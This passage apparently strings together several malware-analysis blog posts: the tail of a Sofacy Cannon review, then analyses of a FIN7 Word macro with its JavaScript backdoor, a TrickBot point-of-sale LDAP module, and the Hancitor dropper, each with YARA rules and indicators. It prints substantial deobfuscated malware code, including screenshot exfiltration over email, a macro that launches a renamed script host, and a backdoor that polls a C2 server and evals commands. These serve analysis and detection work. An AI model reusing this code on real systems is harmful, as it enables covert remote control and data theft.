The function “lenor.piatt” authenticates to the email account “trala.cosh@post.cz” and retrieves messages via pop3Client.GetMessageCount() for the message looping over subjects with the bot ID (message.Headers.Subject == ID) and retrieving message body message.MessagePart.Body and converting text (BitConverter.ToString(body)) to string and decoding hex via FromHex(text). Then, it loops over looking for attachment files containing “auddevc”. If found, it creates a file stream in the same directory and writes it to the directory using BinaryWriter.
/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "piatt" function fragment ///////////
////////////////////////////////////////////////////////////////////
if (pop3Client.GetMessageCount() > 0)
{
for (int i = 0; i < pop3Client.GetMessageCount(); i++)
{
message = pop3Client.GetMessage(i + 1);
if (message.Headers.Subject == ID)
{
byte[] rawMessage = message.RawMessage;
text = BitConverter.ToString(rawMessage);
text = FromHex(text);
list = message.FindAllAttachments();
foreach (MessagePart item in list)
{
if (item.FileName.Contains("auddevc"))
{
FileStream fileStream = new FileStream(Dir + item.FileName, FileMode.Create);
BinaryWriter binaryWriter = new BinaryWriter(fileStream);
binaryWriter.Write(item.Body);
binaryWriter.Close();
fileStream.Close();
}
}
pop3Client.DeleteMessage(i + 1);
}
}
}

G. “screen_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "screen_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void screen_Tick(object sender, EventArgs e)
{
try
{
screen.Enabled = false;
string[] array = "REDACTED_PASS2|bishtr.cam47".Split('|');
a1 = array[1];
b1 = array[0];
array = "REDACTED_PASS3|cervot.woprov".Split('|');
a2 = array[1];
b2 = array[0];
array = "REDACTED_PASS4|lobrek.chizh".Split('|');
a3 = array[1];
b3 = array[0];
Lenor lenor = new Lenor();
lenor.Dir = dir;
lenor.scr();
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "sysscr.ops";
mDat.ID = _id;
mDat.bod = "SCreen";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
txt.Enabled = true;
}
catch (Exception)
{
txt.Enabled = true;
}
}

The “screen_Tick” function is launched with the interval of 10000 milliseconds or 10 seconds. The function sets up variables and splits usernames and passwords leveraging “|” as follows:

REDACTED_PASS2|bishtr.cam47
REDACTED_PASS3|cervot.woprov
REDACTED_PASS4|lobrek.chizh

Then, it leverages the screen function “lenor.scr” taking a desktop screenshot via Bitmap(bounds.Width, bounds.Height), Graphics.FromImage(bitmap), graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size) and saving the screenshot as “.png” image masked as “sysscr.ops” in the main directory.
The function attempts to authenticate to the two aforementioned @post.cz email addresses and send the information to “sahro.bella7@post.cz” with the body message “SCreen” with the file attachment “sysscr.ops” with the subject as the bot ID.
H. “eTim_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "eTim_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void eTim_Tick(object sender, EventArgs e)
{
Application.Exit();
File.Delete(dir + "\\r.bat");
}

The “eTim_Tick” function is launched with the interval of 13000 milliseconds or 13 seconds.
The function simply exits the application and deletes the batch script “r.bat” in the directory.

IV. Yara Signature

rule apt_win32_cannon_loader_sofacy {
meta:
description = "Detects Sofacy Cannon Loader"
author = "@VK_Intel"
date = "2018-11-24"
hash1 = "61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e"
strings:

$pdb = "c:\\Users\\Garry\\Desktop\\cannon\\obj\\x86\\Debug\\wsslc.pdb" fullword ascii
$exe = "wsslc.exe" fullword ascii wide

$s0 = "cannon" fullword ascii wide
$s1 = "cannon.Form1.resources" fullword ascii wide
$s2 = "cannon.Properties.Resources.resources" fullword ascii wide

$c0 = "Form1" fullword ascii wide
$c1 = "Lenor" fullword ascii wide
$c2 = "MDat" fullword ascii wide
$c3 = "AUTH" fullword ascii wide
$c4 = "Program" fullword ascii wide

$f0 = "start_Tick" fullword ascii wide
$f1 = "inf_Tick" fullword ascii wide
$f2 = "screen_Tick" fullword ascii wide
$f3 = "txt_Tick" fullword ascii wide
$f4 = "load_Tick" fullword ascii wide
$f5 = "subject_Tick" fullword ascii wide
$f6 = "run_Tick" fullword ascii wide
$f7 = "eTim_Tick" fullword ascii wide

condition:
( uint16(0) == 0x5a4d and
filesize < 1000KB and
( 2 of ($c*) and 4 of ($f*) ) or ( 1 of ($s*) and ( $pdb or $exe ) )
) or ( all of them )
}

Let’s Learn: In-Depth Review of FIN7 VBA Macro & Lightweight JavaScript Backdoor

Goal: Review, analyze, and practice extracting FIN7 JavaScript backdoor from malicious Microsoft Office documents.

https://platform.twitter.com/widgets.js
Source:

Microsoft Office First-Stage VBA Macro Documents:
SHA256: 6e1230088a34678726102353c622445e1f8b8b8c9ce1f025d11bfffd5017ca82
SHA256: f5f8ab9863dc12d04731b1932fc3609742de68252c706952f31894fc21746bb8
SHA256: 63ff5d9c9b33512f0d9f8d153c02065c637b7da48d2c0b6f7114deae6f6d88aa 
Obfuscated Lightweight JavaScript Backdoor
Deobfuscated Lightweight JavaScript Backdoor
Outline:

I. Background & Summary
II. Malicious Microsoft Word Document First-Stage Macro
III. Deobfuscated Lightweight JavaScript Backdoor
A. “main”
B. “crypt_controller”
C. “id”
D. “get_path”
E. “send_data”
IV. Yara Signature: Possible FIN7 First-Stage Microsoft Word Document
I. Background & Summary
FIN7 group remains to be one of the most formidable financially
motivated group, which is not only known for the large point-of-sale
breaches (including the alleged latest one of Burgerville 
restaurant point-of-sale network) but also for its stealthy
persistence and sophisticated and persistent approach. 
I highly recommend reading Morphisec’s blog titled “FIN7 Not Finished – Morphisec Spots New Campaign,” which details one of the latest FIN7 initial Word documents first-stage loaders with the deployed JavaScript backdoor.
It is also notable that they deploy lightweight JavaScript backdoor with communication over HTTPS mimicking Content Delivery Network (CDN) domains with the added search engine strings such as Google and ing creating bing-cdn[.]com, googleapi-cdn[.]com, & cisco-cdn[.]com.
Additionally, they still leverage JavaScript backdoor via renamed “wscript.exe” as “mses.exe” with the file itself called “errors.txt.”
In their backdoor code, they have the following hardcoded groups:

Hardcoded Groups
exchange
work2
ico

The following MITREEnterprise Attack – Attack Patterns are observed with the FIN7 campaign:

+ Spearphishing Attachment - T1193
+ Scripting - T1064
+ Masquerading - T1036
+ Deobfuscate/Decode Files or Information - T1140
+ Data Obfuscation - T1001

I. Malicious Microsoft Word Document First-Stage Macro
Essentially, the Microsoft Word document loaders do not rely on any on exploits but simply require a social-engineering trick to “Enable Macros.” Notably, to avoid process whitelisting of wscript, the macro logic copies the original JavaScript execution engine “wscript.exe” as “mses.exe” in %LOCALAPPDATA% and leverages a possible anti-analysis routine of checking the system drive size via GetDrive.TotalSize of more than 2456 bytes to possibly thwart anti-sandbox check.

The actual obfuscated Javascript backdoor is stored in UserForm object, which is also written to a disc as “errors.txt” in “%TEMP%”. The final execution of the backdoor is performed via this following command:

%LOCALAPPDATA%\mses.exe //b /e:jscript %temp%\errors.txt

Once it is done, the document macro runs a message box displaying “Decryption error” via MsgBox(“Decryption error”).

It is notable that the decryption message is also part of the document social engineering ruse “to decrypt document” as well as the subsequent “Decryption Error” coupled with the execution of “errors.txt” creates a plausible yet well-thought scenario of allowing possible “error” paths due to document errors.

The full cleaned macro code is as follows:

//////////////////////////////////////////////
/////// FIN7 Deobfuscated Word Macro //////////
//////////////////////////////////////////////
Set CreateObjectScripting = CreateObject("Scripting.FileSystemObject")
Set CreateObjectWScriptShell = CreateObject("WScript.Shell")
SystemDrivePath = CreateObjectWScriptShell.ExpandEnvironmentStrings("%SystemDrive%")
Set GetDrivePath = CreateObjectScripting.GetDrive(SystemDrivePath)
DriveSize = GetDrivePath.TotalSize
If DriveSize > 2456 Then
TEMPPathErrorsTxt = CreateObjectWScriptShell.ExpandEnvironmentStrings("%temp%") \
& "\errors.txt"
FormCaptionHolder = UserForm1.NameForm.Caption
Set CreateFileHolder = CreateObjectScripting.CreateTextFile(TEMPPathErrorsTxt)
CreateFileHolder.WriteLine FormCaptionHolder
CreateFileHolder.Close
GetPathtoMsesExe = CreateObjectWScriptShell.ExpandEnvironmentStrings("%LOCALAPPDATA%") & \
"\mses.exe"
FileCopy "C:\\Windows\\System32\\wscript.exe", GetPathtoMsesExe
Shell "%LOCALAPPDATA%\mses.exe" & " //b /e:jscript " & "%temp%\errors.txt", False

Additionally, the second document contains the same exact reference to mysterious “cesar.exe” as detailed by Nick Carr.

III. Deobfuscated Lightweight JavaScript Backdoor
The JavaScript contains five functions as follows:

Function Name Description
“main” main function
“id” generate unique machine ID based on MAC address and DNS domain
“crypt_controller” control decryptor and encryptor function
“get_path” build path URL based on pre-configured paths
“send_data” send data request to the server
A. “main”
The “main” function initiates a variable “ncommand”, which holds the “send_data” function with the arguments
“request” and “action=get_command”, true).
//////////////////////////////////////////////
/////// JS Backdroor "main" Function /////////
//////////////////////////////////////////////
function main() {
var ncommand = "";
ncommand = send_data("request", "action=get_command", true);
if (ncommand !== "no") {
try {
eval(crypt_controller("decrypt", ncommand));
} catch (e) {}
}
var random_knock = 120000 + (Math.floor(Math.random() * 16001) - 5000);
WScript.Sleep(random_knock);
main();
}

If the ncommand does not equal “no,” it runs an eval command via “crypt_controller” functions with the arguments “decrypt” and ncommand.
The backdoor leverages the variables “random_knock,” which equals 120000 leveraging random * 16001 – 5000, which is used with the WScript.Sleep command then it runs the main command again.
The unique machine is generated via the command running Date with the getUTCMilliseconds() parameters. It also deletes itself via GetFile.Type == “Application and length == 10 and deleteFile via ActiveOXbject.
B. “crypt_controller”

The crypt_controller function accepts two parameters of type and request.
//////////////////////////////////////////////
// JS Backdroor "crypt_controller" Function //
//////////////////////////////////////////////
function crypt_controller(type, request) {
var encryption_key = "";
if (type === "decrypt") {
request = decodeURIComponent(request);
var request_split = request.split(")*(");
request = request_split[0];
encryption_key = request_split[1].split("");
} else {
encryption_key = (Math.floor(Math.random() * 9000) + 1000).toString().split("");
}
var output = [];
for (var i = 0; i < request.length; i++) {
var charCode = request.charCodeAt(i) ^ encryption_key[i % encryption_key.length].charCodeAt(0);
output.push(String.fromCharCode(charCode));
}
var result_string = output.join("");
if (type === "encrypt") {
result_string = result_string + ")*(" + encryption_key.join("");
result_string = encodeURIComponent(result_string);
}
return result_string;
}
a. If type parameter equals “decrypt”, the request is processed via decodeURIComponent splitting the request with separator “)*(” and then retrieving encryption_key (second element[1]) from split request, if no encryption_key split it pulls it as a random value via (Math.floor(Math.random() * 9000) + 1000).toString().split(“”);.
The decoding routine is a simple XOR loop decoding the content as follows joining the result_string via .join command.

var output = [];
for (var i = 0; i < request.length; i++) {
var charCode = request.charCodeAt(i) ^ \
encryption_key[i % encryption_key.length].charCodeAt(0);
output.push(String.fromCharCode(charCode));
}

b. If type parameter equals “encrypt”,  the result_string is joined with “)*(” and passed encodeURIComponent.
C. “id”

The ID function executes a simple WMI query as follows retrieving and parsing for MAC address and DNS domain:

"select * from Win32_NetworkAdapterConfiguration where ipenabled = true"
///////////////////////////////
// JS Backdroor "id" Function //
///////////////////////////////
function id() {
var lrequest = wmi.ExecQuery("select * from Win32_NetworkAdapterConfiguration \
where ipenabled = true");
var lItems = new Enumerator(lrequest);
for (; !lItems.atEnd(); lItems.moveNext()) {
var mac = lItems.item().macaddress;
var dns_hostname = lItems.item().DNSHostName;
if (typeof mac === "string" && mac.length > 1) {
if (typeof dns_hostname !== "string" && dns_hostname.length < 1) {
dns_hostname = "Unknown";
} else {
for (var i = 0; i < dns_hostname.length; i++) {
if (dns_hostname.charAt(i) > "z") {
dns_hostname = dns_hostname.substr(0, i) + "_" + \
dns_hostname.substr(i + 1);
}
}
}
return mac + "_" + dns_hostname;
}
}
}
Finally, the value is concatenated in the format of mac + “_” + dns_hostname.
D. “get_path”
The function takes no parameters and generates a request to the server with the path that consists with the random path from “pathes” array and the random file from files as follows:
//////////////////////////////////////
// JS Backdroor "get_path" Function //
//////////////////////////////////////
function get_path() {
var pathes = ["images", "image", "content", "fetch", "cdn"];
var files = ["create_logo", "get_image", "create_image", \
"show_ico", "show_png", "show_jpg"];
var path = pathes[Math.floor(Math.random() * pathes.length)] + "/" \
+ files[Math.floor(Math.random() * files.length)];
return "hxxps://bing-cdn[.]com/" + path;
}
For example,
hxxps://bing-cdn[.]com/fetch/show_jpg?request=page
hxxps://bing-cdn[.]com/images/get_image?request=page
hxxps://bing-cdn[.]com/image/show_ico?request=page
E. “send_data”

The function accepts 3 parameters such as type, data, and boolean parameter crypt.
//////////////////////////////////////
// JS Backdroor "send_data" Function //
//////////////////////////////////////
function send_data(type, data, crypt) {
try {
var http_object = new ActiveXObject("MSXML2.ServerXMLHTTP");
if (type === "request") {
http_object.open("POST", get_path() + "?request=page", false);
data = "ytqikulpemsi=" + \
crypt_controller("encrypt", "group=exchange&rt=0&secret=fghedf43dsSFvm03&time=120000&uid=" \
+ uniq_id + "&id=" + id() + "&" + data);
} else {
http_object.open("POST", get_path() + "?request=content&id=" + uniq_id, false);
if (crypt) {
data = crypt_controller("encrypt", data);
}
}
http_object.setRequestHeader("User-Agent", \
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/50.0");
http_object.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
http_object.setOption(2, 13056);
http_object.send(data);
return http_object.responseText;
} catch (e) {
return "no";
}
a. if type === “request”, the backdoor forms the POST request as  with get_path ending with “?request=page.” The data consists of the hardcoded value “ytqikulpemsi=” with crypt_controller function with parameters “encrypt” and the following URI “group=exchange&rt=0&secret=fghedf43dsSFvm03&time=120000&uid=” with the “uniq_id” + “&id=” + the ID return function + “&” + data);
http_object.open(“POST”, get_path() + “?request=content&id=” + uniq_id, false);
This function is used with the main with the parameter “action=get_command”
ytqikulpemsi=group=exchange&rt=0&secret=fghedf43dsSFvm03&time=120000&uid=….&id=…

An example of the decoded full path is as follows:

group=work2&rt=0&secret=fghedf43dsSFvm03&time=120000&uid=208\
&id=00:0C:29:B4:CE:DC_WIN_NAME&action=get_command
An example of the encoded data (four-digit XOR encryption key):

ytqikulpemsi=TB_BC%0DUOPXQYTU%16EG%0D%11%40USEVD%0DQTXUSU%04%03S%40cvA%5E%03%11GY%5DR%0E\
%01%05%07%03%11FYT%0A%07%07%08%11ZT%0D%07%03%0At%09%02%09%0Dq%04%0Atv%0Attlgyy%1Eqr%07%\
05%03%09xe%04%09e%15QSCZ_%5E%0ATUDhP_%5DZR%5ET)*(3007
IV. Yara Signature:
rule apt_win32_possible_fin7_doc {
meta:
description = "Detects possible FIN7 first-stage initial doc"
author = "@VK_Intel"
date = "2018-11-23"
hash1 = "f5f8ab9863dc12d04731b1932fc3609742de68252c706952f31894fc21746bb8"
hash2 = "6e1230088a34678726102353c622445e1f8b8b8c9ce1f025d11bfffd5017ca82"
strings:
$font = "{\\rtf1\\ansi\\ansicpg1252\\deff0\\nouicompat\\deflang1033{\\fonttbl{\\f0\\fnil MS Sans S" fullword wide
$userform = "Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} UserForm1 " fullword ascii
$uniq_string = "C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB" fullword ascii


$x0 = "C:\\Users\\Administrator\\Downloads\\InkEd.dll" fullword ascii
$x1 = "C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\2\\Word8.0\\INKEDLib.exd" fullword ascii
$x2 = "C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" fullword ascii
condition:
uint16(0) == 0xcfd0 and
filesize < 2000KB and ( 1 of ($x*) and $font and ( $uniq_string or $userform ) )
or ( all of them )
}

IV. Indicators of Compromise: Domains

hxxps://googleapi-cdn[.]com
hxxps://bing-cdn[.]com
hxxps://cisco-cdn[.]com/

Let’s Learn: Introducing Latest TrickBot Point-of-Sale Finder Module

Goal: Analyze the latest TrickBot point-of-sale finder“psfin32” reconnaissance module hunting for point of sale related services, software, and machines in Lightweight Directory Access Protocol (LDAP)
Source:
Unpacked TrickBot psfin32 Module 32-Bit (x86) (MD5: 4fce2da754c9a1ac06ad11a46d215d23)
Outline

I. Background
II. Decoded TrickBot Point-of-Sale Finder “psfin32” Module 32-Bit (x86)
III. TrickBot Point-of-Sale Finder Module vs DomainGrabber Module: Code Analysis
IV. TrickBot Point-of-Sale Finder Module LDAP Analysis
V. TrickBot Point-of-Sale Finder Module POST Command
IV. Yara Signature

I. Background
This is not the first time the TrickBot development group leverages LDAP; they also developed a DomainGrabber module specifically to harvest sensitive domain controller information, as detailed earlier. The group behind the TrickBot malware development remains to be one of the most resourceful in the e-crime ecosystem continuously releasing various modules (for example. password grabber “pwgrab32Dll” on October 19, 2018). The module itself does not steal any point-of-sale data but rather used to profile corporate machines of interest with possible point-of-sale devices. This module arrives just in time for the holiday shopping season highlighting the group interest in exploring possible point-of-sale breaches. The question is: What point-of-sale malware would the group behind TrickBot deploy on identified machines of interest, and/or would they auction this access to another group? This question is yet to be answered.
II. Decoded TrickBot Point-of-Sale Finder “psfin32” Module 32-Bit (x86) 

This tiny “psfin32” module DLL with the size of 18.13 KB (18568 bytes), compiled on Monday, November 5, 09:00:47 2018 UTC, is originally called “dll[.]dll.” The module itself consists of only 24 functions.
The decoded Trickbot “pfin32Dll” module contains the usual Trickbot export functions:

Control
FreeBuffer
Release
Start

III. TrickBot Point-of-Sale Finder Module vs DomainGrabber Module: Code Analysis

The latest module consists visually a lot of similarity to their previous DomainGrabber module. During pseudo source-code level analysis, it is revealed that the code contains 6 partial function matches (including perfect match and strongly connected components), 17 unreliable function matches (including same MD index and constants, strongly connected components, similar small pseudo-code, strongly connected components small-primes-product, and loop count). By and large, the pseudo source-code analysis reveals the new module heavily borrows from the earlier DomainGrabber code and was likely coded by the same developer(s).
IV.  TrickBot Point-of-Sale Finder Module LDAP Analysis
This Trickbot module was programmed leveraging Active Directory Service Interfaces (ADSI) APIs to search LDAP for objects possibly linked to point of sale related services, software, and machines. To learn more about specific access ADsOpenObject and IADsContainer  interface, please refer to the DomainGrabber post.
LDAP provider is used to access Active Directory Domain Services. The LDAP binding string takes the following form of “GC://” binding to the root of the namespace. “GC:” uses the LDAP provider to bind to the Global Catalog service to execute queries.
The module queries for DOMAIN Global Catalog the following accesses:

COMPUTERS
USERS
GROUPS
SITES
OUs

The point-of-sale key terms of interest are as follows:

*POS*
*REG*
*CASH*
*LANE*
*STORE*
*RETAIL*
*BOH*
*ALOHA*
*MICROS*
*TERM*

V.  TrickBot Point-of-Sale Finder Module POST Command
Once the information is harvested, the “Log” file with the information would be posted to the TrickBot to “Dpost” servers via “/%s/%s/90” command.

Part of the export “Control” function, the module forms and communicates to the next-layer network via the module network path ending in …///90. The /90 ending is leveraged for POST requests with its content in the following three unique formats:

A. Content-Disposition: form-data; name="proclist"
B. Content-Disposition: form-data; name="sysinfo"
C. Content-Type: multipart/form-data; boundary=Arasfjasu7

The unique value “Arasfjasu7” appears to be a marker/separator for the LDAP query collection upload to split the harvested information.
IV. Yara Signature

import "pe"

rule crime_win32_trickbot_psfin32_dll {
meta:
author = "@VK_Intel"
reference = "Detects TrickBot Point-of-Sale Finder Module"
date = "2018-11-07"
hash1 = "f82d0b87a38792e4572b15fab574c7bf95491bf7c073124530f05cc704c1ee96"
strings:
$s0 = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" fullword wide
$s1 = "Dpost servers unavailable" fullword ascii
$s2 = "USERS:" fullword wide
$s3 = "*POS*" fullword wide
$s4 = "/%s/%s/90" fullword wide
$s5 = "DOMAIN GC" fullword wide
$s6 = "*MICROS*" fullword wide
$s7 = "(&(objectCategory=person)(sAMAccountName=%s))" fullword wide

$ldap_gc_pos_queryportion = { 85 f6 0f ?? ?? ?? ?? ?? 8b ?? ?? 8d ?? ?? ?? ?? ?? 6a 04 c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b ?? 52 50 ff ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 68 84 45 00 10 57 e8 ?? ?? ?? ?? 68 a0 45 00 10 57 e8 ?? ?? ?? ?? 68 24 46 00 10 57 e8 ?? ?? ?? ?? ba 40 46 00 10 b9 e0 44 00 10 e8 ?? ?? ?? ?? 50 68 4c 46 00 10 57 e8 ?? ?? ?? ??}

condition:
( uint16(0) == 0x5a4d and
filesize < 50KB and
pe.imphash() == "13c48c2a1eaa564e28ee00ed7cd0fc0f" and pe.exports("Control") and pe.exports("Release") and
( all of them )
) or ( $ldap_gc_pos_queryportion and 5 of ($s*) )
}

Let’s Learn: In-Depth Reversing of Hancitor Dropper/Loader: 2016 vs 2018 Malware Progression

Goal: Analyze the latest Hancitor variant (build “25xce10″) to determine dropper and downloader malware progression in time from 2016 to the latest version in 2018.
Source:
Original Packed Hancitor Loader 32-Bit (x86) (MD5: 0cabdc2d4b83cd8b210fd2bd15d54bdc)
Unpacked Hancitor Dropper & Loader 32-Bit (x86) (MD5: fc7748f302a1566c27568e094873817a)

Outline

I. Background
II. Original Packed Hancitor Loader 32-Bit (x86)
III. Unpacked Hancitor Dropper & Loader 32-Bit (x86)
A. Hancitor MainThreadProcessor
B. Hancitor SystemInfo Generation
C. Hancitor RC4 CryptDecrypt Routine
IV. Yara Signature

I. Background
The group behind Hancitor distribution campaigns remains to be one of the more resourceful and sophisticated cybercrime loader-as-a-service group delivering various payloads – ranging from simple credential stealer malware to point-of-sale and banking malware variants (from Pony Stealer, EvilPony Stealer, AZORult Stealer to Neverquest Banker, Panda Banker, Gozi ISFB Banker, and Danabot Banker).
One of the most interesting malware analysis revolves around source code-level analysis malware development progression in time. I highly recommend reading this article on Hancitor titled “A Closer Look At Hancitor” written by Nick Hoffman and Jeremy Humble. I will utilize the malware sample from this article to compare against one of the latest Hancitor variants (h/t to @malware_traffic for the latest sample). Additionally, I recommend reading @benkow_’s blog titled “Hancitor Panel Overview” to learn more about the Hancitor panel.
II. Original Packed Hancitor Loader 32-Bit (x86)

The Hancitor malspam email chain included the first-stage loader as a malicious Microsoft Word document requiring a victim to enable macros to view the fax message as if it is from a legitimate company HelloFax.

III. Unpacked Hancitor Dropper & Loader 32-Bit (x86)

By and large, while the group behind the malware is rather experienced and persistent, the Hancitor dropper remains to be a simple and unsophisticated dropper and loader type of malware that comes with little development from 2016. Some of the notable lack of development and adjustment includes its reliance on ANSI API calls as well as unsophisticated WriteProcessMemeory injection method, modified %TEMP% run method with joined function on CreateProcessA rather than as a separate function, absence of Winhost32.exe check logic and its derivative functions, additional error check on CreateProcessA and exception handling, improved parser function before WriteProcessMemory injection, joined injection function, no deletion logic, different initial and entry function.
The reviewed 2016 Hancitor dropper version contains 66 functions with the size of 20.00 KB (20480 bytes), while the latest 2018 Hancitor version consists of 51 functions with the size of 20.50 KB (20992 bytes). During pseudo source-code level analysis, it is revealed that the code contains 8 partial function matches (including perfect match, same MD index and constants, strongly connected components, and similar small pseudo-code), 34 unreliable function matches (including perfect match, same MD index and constants, strongly connected components, similar small pseudo-code, strongly connected components small-primes-product, and loop count).
The notable differences include the absence of the connectivity check in the latest version. For example, the 2016 version contained tried to see if it can reach google.com as part of its logic. Moreover, the 2016 version did not contain the RC4 encryption with RtlDecompressBuffer API call to decode the next stage as opposed to the 2018 variant. The “e” command appears to be a new one relative to the 2016 version.
A. Hancitor MainThreadProcessor
In this case, I am looking into the Hancitor build “25xce10”. The Hancitor malware receives multiple commands that it leverages for parsing and executing additional steps. The commands and their execution are separated by “:”, and the URLs, for example, are separated with “|” symbol. 

Hancitor has logic to parse the following commands:










CommandDescription
"r"Download and execute .DLL or .EXE
"l"Download and execute .EXE in separate thread (arg=1)
"e"Download and execute .EXE in separate thread (arg=0)
"b"Download and inject code into svchost.exe
"d"N/A (not implemented; used to delete itself in older version)
"c"N/A (not implemented)
"n"N/A (not implemented)

The full pseudo-coded Hancitor main command processor function is as follows:
////////////////////////////////////////////////////////////////////////////////
//////////// Hancitor MainThreadProcessor //////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
signed int __cdecl HancitorMainCommandProcessor(int cmd, signed int *a2)
{

if ( *(_BYTE *)(a1 + 1) == ':' )
{
switch ( *(_BYTE *)cmd )
{
case 'r':
// "r" command -> download and execute .DLL or .EXE
// if .DLL -> via rundll32.exe, $s,f1 in %TEMP% or if .EXE -> CreateProcessA

*a2 = RtlDecompressBuffer_GetTemp_rundll32(cmd + 2);
return 1;
case 'l':
// "l" command -> download and execute .EXE in separate thread (arg=1)
// check for "MZ" header, call VirtualAlloc and/or dynamic API resolution

v3 = RtlDecompress_CreateThread(cmd + 2, 1);
goto LABEL_5;
case 'e':
// "e" command -> download and execute .EXE in separate thread (arg=0)
// check for "MZ" header, call VirtualAlloc and/or dynamic API resolution

v3 = RtlDecompress_CreateThread(cmd + 2, 0);

LABEL_5:
*a2 = v3;
result = 1;
break;
case 'b':
// "b" command -> download and inject code into svchost.exe
// check for "MZ" header, call allocate memory and write code into the memory

*a2 = RtlDecompressBuffer_Call_svchost_injection(cmd + 2);
result = 1;
break;
case 'n':
// "n" command -> no processor for this command

*a2 = 1;
result = 1;
break;
default:
goto LABEL_9;
}
}
else
{
LABEL_9:
result = 0;
}
return result;
}

B. Hancitor SystemInfo Generation
By and large, the Hancitor malware collects generic information regarding the host that includes various information filled into the formatted collector string:

GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(x32|64)

The shortened pseudo-coded C++ Hancitor SystemInfo function is as follows:
////////////////////////////////////////////////////////////////////////////////
//////////// Hancitor MainThreadProcessor //////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
signed int __cdecl SystemInfo(int a1, int a2, int a3)
{
version_ret = GetVersion();
bot_id = qword_1E6178;
win_version = version_ret;
build_bot_1 = HIDWORD(qword_1E6178);
if ( !qword_1E6178 )
{
LODWORD(v7) = Adapteers_GetWindowsDirectoryA();
build_bot_1 = HIDWORD(v7);
bot_id = v7;
qword_1E6178 = v7;
}
GetComputerNameA_0((signed int)&comp_name);
ExternalAPI_resolution(v8, bot_id, (int)&external_ip);
win_version_1 = (unsigned __int8)win_version;
check_if_x64 = GetNativeSystemInfo() == 1;
comp_name_info = pbData_1;
if ( check_if_x64 )
{
if ( !pbData_1 )
{
pbData_1 = GetProcessHeap_0(0x2000);
func1(pbData_1, (char *)&unk_1E4018, 0x2000);
Crypto_func(pbData_1, 0x2000, (int)&pbData_key, 8);
comp_name_info = pbData_1;
}
wsprintfA(
&formatted_systeminfo,
"GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)",
bot_id,
build_bot_1,
comp_name_info,
&comp_name,
&external_ip,
win_version_1,
HIBYTE(win_version));
}

C. Hancitor RC4 CryptDecrypt Routine

The Hancitor dropper heavily utilizes RtlDecompressBuffer and Crypto API to decrypt its payloads. Rather than relying on custom decryption, the malware simply implements the RC4 decryption logic.

IV. Yara Signature

import "pe"

rule crime_win32_hancitor_dropper {
meta:
author = "@VK_Intel"
reference = "Detects Hancitor Dropper/Loader"
date = "2018-11-04"
hash1 = "c61f929981c573e43dd08f0c5a047ba3a3167436b493df819461d4e7953a91ed"
strings:
$s1 = "Rundll32.exe %s,f1" fullword ascii
$s2 = "explorer.exe" fullword ascii
$s3 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko" fullword ascii
$s4 = "GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)" fullword ascii
$s5 = "GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(x32)" fullword ascii
$s6 = "http://api.ipify.org" fullword ascii
$s7 = "Content-Type: application/x-www-form-urlencoded" fullword ascii

$crypt_sysfunction = { 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 8d ?? ?? 50 e8 ?? ?? ?? ?? 0f b6 c3 83 c4 08 c1 eb 08 89 ?? ?? 0f b6 db e8 ?? ?? ?? ?? 83 f8 01 a1 ?? ?? ?? ?? 75 ?? 85 c0 75 ?? 68 00 20 00 00 e8 ?? ?? ?? ?? 68 00 20 00 00 68 18 40 1e 00 50 a3 ?? ?? ?? ?? e8 ?? ?? ?? ?? 6a 08 68 10 40 1e 00 68 00 20 00 00 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? a1 ?? ?? ?? ?? 83 c4 20}

$external_ip_resolution = { 55 8b ec 51 80 ?? ?? ?? ?? ?? ?? 75 ?? 8d ?? ?? 50 6a 20 68 80 61 1e 00 68 c4 31 1e 00 e8 ?? ?? ?? ?? 83 c4 10 83 f8 01 75 ?? 8b ?? ?? c6 ?? ?? ?? ?? ?? ?? 68 80 61 1e 00 ff ?? ?? ff ?? ?? ?? ?? ?? b8 01 00 00 00 8b e5 5d c3 68 dc 31 1e 00 ff ?? ?? c6 ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 33 c0 8b e5 5d c3}

